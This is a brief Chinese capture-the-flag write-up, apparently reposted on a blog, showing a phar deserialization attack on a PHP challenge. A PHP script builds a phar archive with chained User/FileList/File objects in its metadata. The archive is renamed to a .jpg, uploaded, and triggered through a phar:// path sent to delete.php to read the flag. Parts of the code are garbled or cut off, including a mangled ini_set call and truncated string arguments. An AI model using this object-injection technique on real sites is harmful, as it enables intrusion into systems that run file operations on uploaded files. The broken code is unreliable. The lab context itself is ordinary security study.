题目打开后是这样的:
先进行注册,然后登录上去:
注意左上角有一个上传文件
,这时候构造phar.phar
进行上传
<?phpclass User {public $db;}class FileList {private $files;private $results;private $funcs;public function __construct() {$file = new File();$file->filename = '/';$this->files = array($file);$this->results = array();$this->funcs = array();}}class File {public $filename;}ini_set(adonly',0);@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new User();$o->db = new FileList();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString(", "glzjin"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
?>
构造出来的phar.phar
重新命名为phar.jpg
然后进行上传
最后访问/delete.php
、POST传参filename=phar://phar.
得到flag
本文发布于:2024-01-31 21:20:39,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170670724231434.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |